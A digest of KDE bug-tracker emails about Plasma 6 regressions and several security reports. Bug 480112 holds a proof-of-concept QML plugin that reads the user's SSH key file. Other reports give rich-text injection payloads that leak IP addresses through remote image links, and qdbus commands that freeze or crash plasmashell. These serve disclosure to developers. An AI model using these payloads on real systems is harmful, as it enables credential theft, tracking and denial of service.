https://bugs.kde.org/show_bug.cgi?id=481016 Bug ID: 481016 Summary: SystemTray has size of 1x1 pixels after first boot into v6 Classification: Plasma Product: plasmashell Version: 5.93.0 Platform: Other OS: Linux Status: REPORTED Severity: normal Priority: NOR Component: System Tray Assignee: plasma-b...@kde.org Reporter: benjaminfle...@icloud.com CC: mate...@gmail.com Target Milestone: 1.0 SUMMARY *** The "status and notifications" popup which appears when you click on the default panel next to the clock was resized to 1x1 pixels after booting into v6 first time. I had to resize it via mouse. *** STEPS TO REPRODUCE 1. Grab side of "status and notifications" popup with mouse 2. resize it to very small OBSERVED RESULT can be resized to 1x1 pixels EXPECTED RESULT should have minimum width & minimum height set SOFTWARE/OS VERSIONS Windows: macOS: Linux/KDE Plasma: 5.9.3 (available in About System) KDE Plasma Version: KDE Frameworks Version: Qt Version: ADDITIONAL INFORMATION -- You are receiving this mail because: You are watching all bug changes.
[kwin] [Bug 481014] Renaming of org.kde.kwin.WindowThumbnailItem to WindowThumbnail breaks backwards compatibility for no reason
https://bugs.kde.org/show_bug.cgi?id=481014
--- Comment #2 from Benjamin Flesch ---
Suggested fix, for the love of god someone just mock WindowThumbnailItem.
Something like this should be added IMO.
```
component WindowThumbnailItem: WindowThumbnail {
Component.onComplete: {
console.warning("Deprecation warning: WindowThumbnailItem has been renamed
to WindowThumbnail"));
}
}
```
--
You are receiving this mail because:
You are watching all bug changes.
[kwin] [Bug 481014] Renaming of org.kde.kwin.WindowThumbnailItem to WindowThumbnail breaks backwards compatibility for no reason
https://bugs.kde.org/show_bug.cgi?id=481014 --- Comment #1 from Benjamin Flesch --- Breaking change is in: https://github.com/KDE/kwin/commit/9b6c9242f6c4a2a84618511650f992e1e29de9ab -- You are receiving this mail because: You are watching all bug changes.
[kwin] [Bug 481014] New: Renaming of org.kde.kwin.WindowThumbnailItem to WindowThumbnail breaks backwards compatibility for no reason
https://bugs.kde.org/show_bug.cgi?id=481014 Bug ID: 481014 Summary: Renaming of org.kde.kwin.WindowThumbnailItem to WindowThumbnail breaks backwards compatibility for no reason Classification: Plasma Product: kwin Version: 5.93.0 Platform: Other OS: Linux Status: REPORTED Severity: critical Priority: NOR Component: core Assignee: kwin-bugs-n...@kde.org Reporter: benjaminfle...@icloud.com Target Milestone: --- SUMMARY *** WindowSwitcher.qml from custom theme does not work any more. It was because suddenly with v6 "KWin.WindowThumbnailItem" has been renamed to "KWin.WindowThumbnail". After renaming the component, the WindowSwitcher works again. This naming change is not documented anywhere and it is obviouly not an underlying API change because after renaming, the old component from v5 continues to work. On top of that in KWin source code the whole thing is still called "WindowThumbnailItem.cpp". WindowThumbnail should be renamed again to WindowThumbnailItem or a copy should be created to increase compabiltiy with v5 WindowSwitcher.qml files. *** STEPS TO REPRODUCE 1. Spend hours to create a WindowSwitcher.qml for v5 2. Install plasma v6 3. Find out there is a lot of random renaming going on for which you need to spend hours debugging because there is no documentation of the removal and also no documentation what we actually gain from renaming to "WindowThumbnail". OBSERVED RESULT Frustrated developers of custom themes EXPECTED RESULT Renaming only for real API changes. Depreciation warnings at least for the APIs used in last version. If backwards compatibility is given, a copy with the old name should be created besides the new name.s SOFTWARE/OS VERSIONS Windows: macOS: Linux/KDE Plasma: 5.9.3 (available in About System) KDE Plasma Version: KDE Frameworks Version: Qt Version: ADDITIONAL INFORMATION -- You are receiving this mail because: You are watching all bug changes.
[kwin] [Bug 481012] New: missing developer documents about KWin.WindowThumbnailItem deprecation
https://bugs.kde.org/show_bug.cgi?id=481012 Bug ID: 481012 Summary: missing developer documents about KWin.WindowThumbnailItem deprecation Classification: Plasma Product: kwin Version: 5.93.0 Platform: Other OS: Linux Status: REPORTED Severity: normal Priority: NOR Component: tabbox Assignee: kwin-bugs-n...@kde.org Reporter: benjaminfle...@icloud.com Target Milestone: --- SUMMARY *** https://develop.kde.org/docs/plasma/widget/porting_kf6/ does not mention KWin.WindowThumbnailItem even though custom WindowSwitcher.qml that worked in v5 stops working in v6 with error message: kwin_tabbox: Component failed to load: QList(file:///home/user/.local/share/plasma/look-and-feel/theme/contents/windowswitcher/WindowSwitcher.qml:173:17: KWin.WindowThumbnailItem is not a type *** STEPS TO REPRODUCE 1. use KWin.WindowThumbnailItem in WindowSwitcher.qml 2. upgrade to plasma v6 3. observe error message OBSERVED RESULT KWin.WindowThumbnailItem migration path not mentioned EXPECTED RESULT KWin.WindowThumbnailItem working or new name documented somewhere SOFTWARE/OS VERSIONS Windows: macOS: Linux/KDE Plasma: (available in About System) KDE Plasma Version: KDE Frameworks Version: Qt Version: ADDITIONAL INFORMATION -- You are receiving this mail because: You are watching all bug changes.
[dolphin] [Bug 480190] Dolphin QML HTML injection
https://bugs.kde.org/show_bug.cgi?id=480190
--- Comment #4 from Benjamin Flesch ---
@sitter: It is a problem because if you close dolphin with alt+f4 the QML
injection stays and visually pollutes your dolphin experience.
Not to speak from the nice crashes you can get with `dolphin --new-window
$(perl -E "print('A' x 10)")`
IMO handling of untrusted user input should be improved before you end up with
a proper security situation.
--
You are receiving this mail because:
You are watching all bug changes.
[kwin] [Bug 481007] kwin tabbox caching issue: use m_qmlContext.trimComponentCache()
https://bugs.kde.org/show_bug.cgi?id=481007 --- Comment #1 from Benjamin Flesch --- Merge request here: https://invent.kde.org/plasma/kwin/-/merge_requests/5135 -- You are receiving this mail because: You are watching all bug changes.
[kwin] [Bug 481007] New: kwin tabbox caching issue: use m_qmlContext.trimComponentCache()
https://bugs.kde.org/show_bug.cgi?id=481007 Bug ID: 481007 Summary: kwin tabbox caching issue: use m_qmlContext.trimComponentCache() Classification: Plasma Product: kwin Version: 5.93.0 Platform: Other OS: Linux Status: REPORTED Severity: normal Priority: NOR Component: tabbox Assignee: kwin-bugs-n...@kde.org Reporter: benjaminfle...@icloud.com Target Milestone: --- SUMMARY *** Background: As a theme developer, I want to create a WindowSwitcher.qml theme. If the WindowSwitcher.qml file has an error, kwin will not load it and show desktop notification. When I fix the error in the QML file and then try again, kwin still loads the cached file BUT the error message kwin gives points to the new file. This suggests that the QMLEngine used in kwin tabbox is polluted with the old QML component. The call to `m_qmlComponent.reset(nullptr)` in [1] is not enough to clear the invalid QML file from the cache. A call to `m_qmlContext.trimComponentCache()` [2] should be added. However, as trimComponentCache() only deletes unused components, we need to reset m_qmlComponent before we can trim the cache. As m_qmlComponent is null after the reset, we need to use m_qmlContext instead, which points to the same QMLEngine. *** [1] https://invent.kde.org/bf/kwin-fix-tabbox-cache/-/blob/master/src/tabbox/tabboxhandler.cpp#L251 [2] https://doc.qt.io/qt-6/qqmlengine.html#trimComponentCache Log: PLEASE NOTE that the first error message shows the "erroneous" line properly, but the second kwin error message shows the fixed file (which should compile!), however it still gives an error. -8<- kwin_wayland[15029]: kwin_tabbox: Component failed to load: QList(file:///mytheme/contents/windowswitcher/WindowSwitcher.qml:9:1: module "QtGraphicalEffects" is not installed import QtGraphicalEffects 1.12 ^) kwin_wayland[15029]: kwin_tabbox: == "Alt+Tab" or "Alt+Shift+Backtab" kwin_wayland[15029]: kwin_tabbox: Component failed to load: QList(file:///mytheme/contents/windowswitcher/WindowSwitcher.qml:9:1: module "QtGraphicalEffects" is not installed // import QtGraphicalEffects 1.12 ^) ->8- STEPS TO REPRODUCE 1. create custom plasma lookandfeel theme with a QML file with syntax errors in `contents/windowswitcher/WindowSwitcher.qml` 2. load the plasma global theme via `plasma-apply-lookandfeel -a $(pwd)` 3. press ALT+TAB to trigger KWIN error message in journalctl 4. change the file to fix the error 5. press ALT+TAB again and see that KWIN has still same error, but the KWIN error message points to the now fixed line in the QML file OBSERVED RESULT QML file does not get re-read from filesystem EXPECTED RESULT QML file is re-read from filesystem SOFTWARE/OS VERSIONS Linux/KDE Plasma: Linux 6.7.4-arch1-1 KDE Plasma Version: 5.93.0-1 KDE Frameworks Version: 5.114.0-2 Qt Version: 6.7.0beta2-1 -- You are receiving this mail because: You are watching all bug changes.
[plasma-browser-integration] [Bug 480228] New: TypeError: Error in invocation of browserAction.setBadgeBackgroundColor(object details, optional function callback): Error at parameter 'details': Missin
https://bugs.kde.org/show_bug.cgi?id=480228
Bug ID: 480228
Summary: TypeError: Error in invocation of
browserAction.setBadgeBackgroundColor(object details,
optional function callback): Error at parameter
'details': Missing required property 'color'.
Classification: Plasma
Product: plasma-browser-integration
Version: unspecified
Platform: Other
OS: Linux
Status: REPORTED
Severity: normal
Priority: NOR
Component: Chrome
Assignee: k...@privat.broulik.de
Reporter: benjaminfle...@icloud.com
Target Milestone: ---
SUMMARY
***
Error handling response: TypeError: Error in invocation of
browserAction.setBadgeBackgroundColor(object details, optional function
callback): Error at parameter 'details': Missing required property 'color'.
extension-mpris.js:102 (anonymous function)
***
I think it does not like the color: null. Maybe put a try{}catch{} around it?
STEPS TO REPRODUCE
1. run extension in chrome Version 121.0.6167.71 (Official Build) Arch Linux
(64-bit)
2. enable "collect errors" in
chrome://extensions/?id=cimiefiiaegbelhefglklhhakcgmhkai
3. visit any website with audio player
OBSERVED RESULT
no error message
EXPECTED RESULT
error message
SOFTWARE/OS VERSIONS
Windows:
macOS:
Linux/KDE Plasma:
(available in About System)
KDE Plasma Version:
KDE Frameworks Version:
Qt Version:
ADDITIONAL INFORMATION
--
You are receiving this mail because:
You are watching all bug changes.
[dolphin] [Bug 480190] Dolphin QML HTML injection
https://bugs.kde.org/show_bug.cgi?id=480190 Benjamin Flesch changed: What|Removed |Added Summary|Dolphin HTML injection |Dolphin QML HTML injection -- You are receiving this mail because: You are watching all bug changes.
[kmail2] [Bug 480193] New: KMail QML HTML injection via --subject and --attach
https://bugs.kde.org/show_bug.cgi?id=480193 Bug ID: 480193 Summary: KMail QML HTML injection via --subject and --attach Classification: Applications Product: kmail2 Version: unspecified Platform: Other OS: Linux Status: REPORTED Severity: normal Priority: NOR Component: composer Assignee: kdepim-b...@kde.org Reporter: benjaminfle...@icloud.com Target Milestone: --- SUMMARY *** HTML injection into KMail UI afaik not security issue because external image urls are not followed *** STEPS TO REPRODUCE 1. kmail --composer --body '' --attach 'HTML Injection bfhttps://www.spyber.com/sig-25163.png; width="100" height="100" />' 2. kmail --composer --attach 'asdasd HTML Injection @bf ' --subject 'injectkoasdasd' OBSERVED RESULT custom HTML in kmail UI and alert dialogs EXPECTED RESULT no custom HTML in kmail UI SOFTWARE/OS VERSIONS kmail2 5.24.4 (23.08.4) -- You are receiving this mail because: You are watching all bug changes.
[dolphin] [Bug 480190] New: Dolphin HTML injection
https://bugs.kde.org/show_bug.cgi?id=480190 Bug ID: 480190 Summary: Dolphin HTML injection Classification: Applications Product: dolphin Version: unspecified Platform: Other OS: Linux Status: REPORTED Severity: normal Priority: NOR Component: view-engine: general Assignee: dolphin-bugs-n...@kde.org Reporter: benjaminfle...@icloud.com CC: kfm-de...@kde.org Target Milestone: --- SUMMARY *** HTML can be injected into Dolphin UI from the command line. *** STEPS TO REPRODUCE 1. Open terminal 2. type: dolphin "HTML Injection" 3. press enter, dolphin will inject the HTML OBSERVED RESULT HTML injected EXPECTED RESULT no html injected SOFTWARE/OS VERSIONS dolphin 23.08.4 ADDITIONAL INFORMATION -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 480112] PlasmaCore.DataSource "executable" engine arbitrary code execution via any QML file in backdoored wallpaper plugins, themes, etc. distributed via store.kde.org
https://bugs.kde.org/show_bug.cgi?id=480112 --- Comment #4 from Benjamin Flesch --- I did build a proof-of-concept for the "wallpaper plugin" type, and did a survey of 10.000 themes from shop.kde.org which found ~10 packes with .exe files that show as virus on virustotal.com (these have been removed by plink), and various packages with .so library files, shell scripts (.sh) and python scripts. Currently to me it seems anything goes and the whole security theatre depends on the operations of plink, who - as I've shown - don't even scan the packages with conventional antivirus scanners. Another big problem is that the plasma dialogs all show "most recently uploaded" themes/plugins right at the top, so it's easy for an attacker to get initial infections. >From my perspective, the QML surface & code execution capabilities of packages installed via the plasma store(s) should be severly limited on the plasma side. There should be two types of QML: trusted QML and untrusted QML. Trusted QML only for packages signed by the plasma devs. Untrusted QML for everyone. I'll try to find more security vulnerabilities in plasma to make the architects of the current thing reconsider their choices. Also the biggest security risk, a compromise of plink gmbh (a private company) and then a deployment of malicious updates for *all* themes at the same time will be installed via discover software center "plasma addons" section to many KDE users. Targeted attacks on KDE/plasma devs with the current design are also a realistic thing. -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 480112] New: PlasmaCore.DataSource "executable" engine arbitrary code execution via any QML file in backdoored wallpaper plugins, themes, etc. distributed via store.kde.org
https://bugs.kde.org/show_bug.cgi?id=480112
Bug ID: 480112
Summary: PlasmaCore.DataSource "executable" engine arbitrary
code execution via any QML file in backdoored
wallpaper plugins, themes, etc. distributed via
store.kde.org
Classification: Plasma
Product: plasmashell
Version: 5.27.10
Platform: Other
OS: Linux
Status: REPORTED
Severity: normal
Priority: NOR
Component: general
Assignee: plasma-b...@kde.org
Reporter: benjaminfle...@icloud.com
CC: k...@davidedmundson.co.uk, secur...@kde.org
Target Milestone: 1.0
SUMMARY
***
PlasmaCore.DataSource offers the "executable" engine which allows malicious
packages from store.kde.org to execute arbitrary code through QML files
embededded in themes, wallpaper pugins, and more.
This is a critical design problem of PlasmaCore.DataSource which gets
exaberated by the lack of security auditing at store.kde.org (with no malware
scanning as demonstrated by finding various malicious .exe files embedded in
archives distributed via the KDE in the recent days), and the tight integration
of the store.kde.org system into the plasma interface.
Users can right click on the desktop, click "configure desktop and wallpaper",
then click "get new plugins" and the "download new wallpaper plugins - plasma"
shopping dialog pops up. By default, this shop is sorted by "most recent",
which makes it very easy for an attacker to get initial infections. You can
hover any listing in the window and an "install" button shows up in the plasma
interface. After you click install, the user can immediately click "run" to
execute the user-generated, untrusted package containing QML code with the
potential for arbitrary code execution and arbitrary reading in the context of
the user.
***
The KDE devs are aware of this problem, because in QML context, a
XMLHTTPRequest to read the SSH private key from ~/.ssh/id_rsa.pub is rejected
with error: "XMLHttpRequest: Using GET on a local file is dangerous and will be
disabled by default in a future Qt version.Set QML_XHR_ALLOW_FILE_READ to 1 if
you wish to continue using this feature."
```
var xhr = new XMLHttpRequest;
xhr.open("GET", "~/.ssh/id_rsa.pub");
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var response = xhr.responseText;
// use file contents as required
console.log(response)
}
};
xhr.send();
```
However, in plain QML you can execute arbitrary commands and read arbitrary
user data with the the following `config.qml` embedded for example in an
"plasma wallpaper plugin". Then a backdoored theme package downloaded from
store.kde.org could send this data to an attack-controlled server.
```
import QtQuick 2.1
import QtQuick.Layouts 1.1
import QtQuick.Controls 2.8
import org.kde.plasma.core 2.0 as PlasmaCore
import org.kde.kirigami 2.4 as Kirigami
Item {
id: page
width: childrenRect.width
height: childrenRect.height
property alias cfg_start_branches : start_branches.value;
property alias cfg_scale : scale.value;
PlasmaCore.DataSource {
id: executable
engine: "executable"
connectedSources: []
onNewData: {
var exitCode = data["exit code"]
var exitStatus = data["exit status"]
var stdout = data["stdout"]
var stderr = data["stderr"]
exited(sourceName, exitCode, exitStatus, stdout, stderr)
disconnectSource(sourceName) // cmd finished
}
function exec(cmd) {
connectSource(cmd)
}
signal exited(string command, int exitCode, int exitStatus, string
stdout, string stderr)
}
Connections {
target: executable
onExited: {
console.log("onExited stdout", stdout)
}
}
Component.onCompleted: {
executable.exec("/usr/bin/cat ~/.ssh/id_rsa.pub")
}
Kirigami.FormLayout {
anchors.left: parent.left
anchors.right: parent.right
// Label {
// anchors.verticalCenter: parent.verticalCenter
// rightPadding: 15
// text: i18n("Start Branches") + " (" + start_branches.value + ")"
// }
PlasmaComponents.Slider {
id: start_branches
Kirigami.FormData.label: i18n("Stat Branches123123 (%1)",
start_branches.value)
from: 1
to: 10
value: 3
snapMode: Slider.SnapAlways
stepSize: 1
}
// Label {
// anchors.verticalCenter: parent.verticalCenter
// rightPadding: 15
// text: i18n("Scale (%1)", scale.value)
// }
PlasmaComponents.Slider {
id: scale
Kirigami.FormData.label: i18n("Scale (%1)", scale.value)
from: 1
[plasmashell] [Bug 480106] New: plasma wallpaper image parsing IP address leak via EXIF attributes / metadata.desktop / metadata.json
https://bugs.kde.org/show_bug.cgi?id=480106
Bug ID: 480106
Summary: plasma wallpaper image parsing IP address leak via
EXIF attributes / metadata.desktop / metadata.json
Classification: Plasma
Product: plasmashell
Version: 5.27.10
Platform: Other
OS: Linux
Status: REPORTED
Severity: critical
Priority: NOR
Component: Image Wallpaper
Assignee: plasma-b...@kde.org
Reporter: benjaminfle...@icloud.com
CC: notm...@gmail.com, qydwhotm...@gmail.com,
secur...@kde.org
Target Milestone: 1.0
Created attachment 165086
--> https://bugs.kde.org/attachment.cgi?id=165086=edit
IP address leak from plasma wallpaper via QML RichText parsing of user-provided
text
SUMMARY
***
exif image information is used by plasma image wallpaper to create a qml
richtext string to display author and title of a wallpaper image. the QML
richtext can contain tags which point to outside servers. http:// and
ftp:// links in the tags are followed to remote addressess
AUTHOR & NAME fields in metadata.desktop are also affected, as well as the
author & name in metadata.json
exploitable EXIF tags: Exif.Image.XPTitle, Exif.Image.DocumentName,
Exif.Image.ImageDescription, Exif.Image.Artist, Exif.Image.XPAuthor,
Exif.Image.Copyright
bugged code is here:
https://github.com/KDE/plasma-workspace/blob/master/wallpapers/image/plugin/finder/mediametadatafinder.cpp#L34
***
STEPS TO REPRODUCE
EASY:
1. download
https://www.deutsche-cyberberatung.de/plasma-shell-wallpaper-ip-address-leak.jpg
2. place file in ~/.local/share/wallpapers/
3. go on desktop -> right click -> "configure desktop and wallpaper"
4. see that the code is rendered in UI as QML Richtext
IMAGE w/ EXIF INFO:
1. take random jpg image
2. run `exiftool -Artist='benjaminfleschhttps://www.spyber.com/sig-54300.png"/>' bugme.jpg
-overwrite_original_in_place`
3. go on desktop -> right click -> "configure desktop and wallpaper"
4. see that the code is rendered in UI as QML Richtext
METADATA.DESKTOP:
[Desktop Entry]
Name=foobarhttps://www.spyber.com/sig-54300.png; />ftp://1.2.3.4/etc/qt.conf"/>huhu
Author=foobarhttps://www.spyber.com/sig-54300.png; />ftp://1.2.3.4/etc/qt.conf"/>huhu
METADATA.JSON:
{
"KPlugin": {
"Authors": [
{
"Name": "Benjamin Flesch ",
"Email": "b...@deutsche-cyberberatung.de"
}
],
"Name": "leakmyaddress "
}
OBSERVED RESULT
html code from exif author field is parsed as QML richtext and allows IP
address leak
EXPECTED RESULT
user-provided exif fields should not be parsed
SOFTWARE/OS VERSIONS
kdeplasma-addons 5.27.10-2
plasma-browser-integration 5.27.10-1
plasma-desktop 5.27.10-1
plasma-disks 5.27.10-1
plasma-firewall 5.27.10-1
plasma-framework5 5.114.0-1
plasma-integration 5.27.10-1
plasma-meta 5.27-4
plasma-nm 5.27.10-1
plasma-pa 5.27.10-1
plasma-sdk 5.27.10-1
plasma-systemmonitor 5.27.10-1
plasma-thunderbolt 5.27.10-1
plasma-vault 5.27.10-1
plasma-wayland-session 5.27.10-2
plasma-welcome 5.27.10-1
plasma-workspace 5.27.10-2
plasma-workspace-wallpapers 5.27.10-1
plasmatube 23.08.4-1
ADDITIONAL INFORMATION
--
You are receiving this mail because:
You are watching all bug changes.
[kate] [Bug 480080] New: Terminal path automatically changes on launch even if the terminal setting is disabled.
https://bugs.kde.org/show_bug.cgi?id=480080 Bug ID: 480080 Summary: Terminal path automatically changes on launch even if the terminal setting is disabled. Classification: Applications Product: kate Version: 23.08.4 Platform: Other OS: Linux Status: REPORTED Severity: minor Priority: NOR Component: sessions Assignee: kwrite-bugs-n...@kde.org Reporter: seegold1...@gmail.com Target Milestone: --- SUMMARY *** There is a setting in Kate "Automatically synchronize the terminal with the current document when possible" which I have unchecked. Both when opening an ordinary file and a session it seems to still change the path automatically running a cd command by itself. *** STEPS TO REPRODUCE 1. Disable the setting "Automatically synchronize the terminal with the current document when possible" under terminal settings. 2. Close Kate 3. Open a session or file with Kate 4. View the terminals current working directory OBSERVED RESULT The path is set to the path of the current file EXPECTED RESULT No automatic path change when opening a file. For sessions it would make sense for it to be the same path as the last session. -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 480011] New: plasmashell ui freeze via qdbus javascript infinite loop
https://bugs.kde.org/show_bug.cgi?id=480011
Bug ID: 480011
Summary: plasmashell ui freeze via qdbus javascript infinite
loop
Classification: Plasma
Product: plasmashell
Version: 5.27.10
Platform: Other
OS: Linux
Status: REPORTED
Severity: normal
Priority: NOR
Component: generic-crash
Assignee: plasma-b...@kde.org
Reporter: benjaminfle...@icloud.com
Target Milestone: 1.0
Flags: performance+, Wayland+, X11+
SUMMARY
***
plasmashell UI freezes when a javascript inifinite loop is evaluated in the
plasma javascript engine
***
STEPS TO REPRODUCE
1. open a konsole
2. run `qdbus org.kde.plasmashell /PlasmaShell
org.kde.PlasmaShell.evaluateScript "while(true){}"`
2. unfreeze with `plasmashell --replace`
OBSERVED RESULT
EXPECTED RESULT
SOFTWARE/OS VERSIONS
Windows:
macOS:
Linux/KDE Plasma:
(available in About System)
KDE Plasma Version:
KDE Frameworks Version:
Qt Version:
ADDITIONAL INFORMATION
--
You are receiving this mail because:
You are watching all bug changes.
[plasmashell] [Bug 480008] New: std::bad_alloc: integer overflow in screenGeometry() via qdbus plasma scripting
https://bugs.kde.org/show_bug.cgi?id=480008
Bug ID: 480008
Summary: std::bad_alloc: integer overflow in screenGeometry()
via qdbus plasma scripting
Classification: Plasma
Product: plasmashell
Version: 5.27.10
Platform: Arch Linux
OS: Linux
Status: REPORTED
Severity: crash
Priority: NOR
Component: general
Assignee: plasma-b...@kde.org
Reporter: benjaminfle...@icloud.com
CC: k...@davidedmundson.co.uk, secur...@kde.org
Target Milestone: 1.0
Flags: Wayland+, X11+
SUMMARY
***
screenGeometry() function available in plasma scripting language allows integer
overflow
IMO this allows for exploitation, but only attack vector I can think of is a
malware kde plasma theme (and even in this case you can run shellscripts via
QML already). plasmashell runs on userid 1000 so impact of exploitation via
qdbus also not really big.
***
STEPS TO REPRODUCE
short way:
1. open console and run the following command
2. qdbus org.kde.plasmashell /PlasmaShell org.kde.PlasmaShell.evaluateScript
$(perl -E 'say
"print(\"start\");while(true){print(\"\");screenGeometry("
. ('9' x 12) . ")}"')
2. wait 5 minutes for plasmashell to crash with std::bad_alloc
long way:
1. journalctl -xe
2. send different commands via qdbus to the plasma scripting engine:
3. no error for screenGeometry(9): `qdbus org.kde.plasmashell /PlasmaShell
org.kde.PlasmaShell.evaluateScript $(perl -E 'say
"print(JSON.stringify(screenGeometry(" . (9 x 1) . ")))"')` -> journalctl will
print "requesting unexisting screen geometry 9"
4. integer overflow for screenGeometry(999): `qdbus
org.kde.plasmashell /PlasmaShell org.kde.PlasmaShell.evaluateScript $(perl -E
'say "print(JSON.stringify(screenGeometry(" . (9 x 15) . ")))"')` -> journalctl
will print "requesting unexisting screen geometry -1530494977"
5. integer overflow for screenGeometry(9x25): `qdbus org.kde.plasmashell
/PlasmaShell org.kde.PlasmaShell.evaluateScript $(perl -E 'say
"print(JSON.stringify(screenGeometry(" . (9 x 15) . ")))"')` -> journalctl will
print "requesting unexisting screen geometry -2147483648"
6. integer overflow for screenGeometry(9x800) BUT NO MORE LOG MESSAGES `qdbus
org.kde.plasmashell /PlasmaShell org.kde.PlasmaShell.evaluateScript $(perl -E
'say "print(JSON.stringify(screenGeometry(" . (9 x 30) . ")))"')` -> journalctl
will not print anything
7. integer of length 12 is the maximum you can send before qdbus complains
about argument length: qdbus org.kde.plasmashell /PlasmaShell
org.kde.PlasmaShell.evaluateScript $(perl -E 'say
"print(JSON.stringify(screenGeometry(" . ('7' x 12) . ")))"')
OBSERVED RESULT
journalctl:
requesting unexisting screen geometry 9
requesting unexisting screen geometry 99
requesting unexisting screen geometry 999
requesting unexisting screen geometry 9
requesting unexisting screen geometry -1530494977
terminate called after throwing an instance of 'std::bad_alloc'
what(): std::bad_alloc
KCrash: Attempting to start /usr/bin/plasmashell
25 -- exe=/usr/bin/plasmashell
17 -- platform=wayland
20 -- appname=plasmashell
17 -- apppath=/usr/bin
9 -- signal=6
11 -- pid=125085
19 -- appversion=5.27.10
19 -- programname=Plasma
31 -- bugaddress=sub...@bugs.kde.org
15 -- restarted=true
KCrash: crashing... crashRecursionCounter = 2
KCrash: Application Name = plasmashell path = /usr/bin pid = 125085
KCrash: Arguments: /usr/bin/plasmashell --replace
(gdb) f
#0 __pthread_kill_implementation (threadid=,
signo=signo@entry=11, no_tid=no_tid@entry=0) at pthread_kill.c:44
44return INTERNAL_SYSCALL_ERROR_P (ret) ? INTERNAL_SYSCALL_ERRNO
(ret) : 0;
(gdb) do
Bottom (innermost) frame selected; you cannot go down.
(gdb) bt
#0 __pthread_kill_implementation (threadid=,
signo=signo@entry=11, no_tid=no_tid@entry=0) at pthread_kill.c:44
#1 0x71cfbacac8a3 in __pthread_kill_internal (signo=11,
threadid=) at pthread_kill.c:78
#2 0x71cfbac5c668 in __GI_raise (sig=11) at ../sysdeps/posix/raise.c:26
#3 0x71cfbd62041c in KCrash::defaultCrashHandler(int) (sig=11) at
/usr/src/debug/kcrash5/kcrash-5.114.0/src/kcrash.cpp:616
#4 0x71cfbac5c710 in () at /usr/lib/libc.so.6
#5 QObject::parent() const (this=, this=) at
/usr/include/qt/QtCore/qobject.h:519
#6 Plasma::Containment::corona() const (this=this@entry=0x0) at
/usr/src/debug/plasma-framework5/plasma-framework-5.114.0/src/plasma/containment.cpp:320
#7 0x572f18fb280f in
WorkspaceScripting::Containment::Containment(Plasma::Containment*,
WorkspaceScripting::ScriptEngine*)
(this=0x572f1bfcdbd0, containment=0x0, engine=0x7ffc21a3d9f0,
this=, containment=, engine=)
at
/usr/src/debug/plasma-workspace/plasma-workspace-5.27.10/shell/scripting/containment.cpp:45
#8 0x572f18fbca42 in
[plasmashell] [Bug 479999] New: plasmashell coredump via dbus / global theme [null pointer dereference?]
https://bugs.kde.org/show_bug.cgi?id=47
Bug ID: 47
Summary: plasmashell coredump via dbus / global theme [null
pointer dereference?]
Classification: Plasma
Product: plasmashell
Version: 5.27.10
Platform: Arch Linux
URL: https://invent.kde.org/plasma/plasma-workspace/-/issue
s/113
OS: Linux
Status: REPORTED
Keywords: reproducible
Severity: normal
Priority: NOR
Component: general
Assignee: plasma-b...@kde.org
Reporter: benjaminfle...@icloud.com
CC: k...@davidedmundson.co.uk
Target Milestone: 1.0
Flags: performance-, Wayland+, X11-
SUMMARY
***
plasma javascript code sent via dbus or in global theme script can crash
plasmashell
This might be a null pointer dereference because affected function
`createContainment` in
plasma-workspace/blob/master/shell/scripting/scriptengine{_v1?}.cpp#L430 calls
`m_engine->createContainmentWrapper()` which returns `nullptr` at
/plasma-workspace/blob/master/shell/scripting/scriptengine.cpp#L364
***
STEPS TO REPRODUCE:
1. run `qdbus org.kde.plasmashell /PlasmaShell
org.kde.PlasmaShell.evaluateScript "getApiVersion(1).newPanel(3)"`
(or)
1. create a plasma global theme
2. write `var panel = new panel(3)` into file
`contents/layouts/org.kde.plasma.desktop-layout.js`
3. apply the global theme via settings
OBSERVED RESULT
plasmashell coredump
systemd-coredump[100603]: [] Process 100200 (plasmashell) of user 1000 dumped
core.
Stack trace of thread 100200:
#0 0x71cfbacac83c n/a
(libc.so.6 + 0x8e83c)
#1 0x71cfbac5c668 raise
(libc.so.6 + 0x3e668)
#2 0x71cfbd62041c
_ZN6KCrash19defaultCrashHandlerEi (libKF5Crash.so.5 + 0x741c)
#3 0x71cfbac5c710 n/a
(libc.so.6 + 0x3e710)
#4 0x71cfbd7a3c7f
_ZNK6Plasma11Containment6coronaEv (libKF5Plasma.so.5 + 0x34c7f)
#5 0x572f18fb280f n/a
(plasmashell + 0x6b80f)
#6 0x572f18fbca42 n/a
(plasmashell + 0x75a42)
#7 0x572f18fbccfa n/a
(plasmashell + 0x75cfa)
#8 0x572f18fbce94 n/a
(plasmashell + 0x75e94)
#9 0x572f18f752e5 n/a
(plasmashell + 0x2e2e5)
#10 0x572f18f76193 n/a
(plasmashell + 0x2f193)
#11 0x71cfbca7cff4 n/a
(libQt5Qml.so.5 + 0x27cff4)
#12 0x71cfbc97ebe1 n/a
(libQt5Qml.so.5 + 0x17ebe1)
#13 0x71cfbc9801b7
_ZNK3QV413QObjectMethod12callInternalEPKNS_5ValueES3_i (libQt5Qml.so.5 +
0x1801b7)
#14 0x71cfbc9a63c1
_ZN3QV47Runtime12CallProperty4callEPNS_15ExecutionEngineERKNS_5ValueEiPS4_i
(libQt5Qml.so.5 + 0x1a63c1)
#15 0x71cfbc99025f n/a
(libQt5Qml.so.5 + 0x19025f)
#16 0x71cfbc993d24 n/a
(libQt5Qml.so.5 + 0x193d24)
#17 0x71cfbc93731a
_ZN3QV48Function4callEPKNS_5ValueES3_iPKNS_16ExecutionContextE (libQt5Qml.so.5
+ 0x13731a)
#18 0x71cfbc96eeed
_ZN3QV46Script3runEPKNS_5ValueE (libQt5Qml.so.5 + 0x16eeed)
#19 0x71cfbc9040bb
_ZN9QJSEngine8evaluateERK7QStringS2_i (libQt5Qml.so.5 + 0x1040bb)
#20 0x572f18fba2a4 n/a
(plasmashell + 0x732a4)
#21 0x572f18f9883a n/a
(plasmashell + 0x5183a)
#22 0x572f18fb8dae n/a
(plasmashell + 0x71dae)
#23 0x572f18fbbb03 n/a
(plasmashell + 0x74b03)
#24 0x71cfbcc5076e n/a
(libQt5DBus.so.5 + 0x2176e)
#25 0x71cfbcc5e5ae n/a
(libQt5DBus.so.5 + 0x2f5ae)
#26 0x71cfbcc590e2 n/a
(libQt5DBus.so.5 + 0x2a0e2)
#27 0x71cfbcc5912c n/a
(libQt5DBus.so.5 + 0x2a12c)
#28 0x71cfbb4c3964
_ZN7QObject5eventEP6QEvent (libQt5Core.so.5 + 0x2c3964)
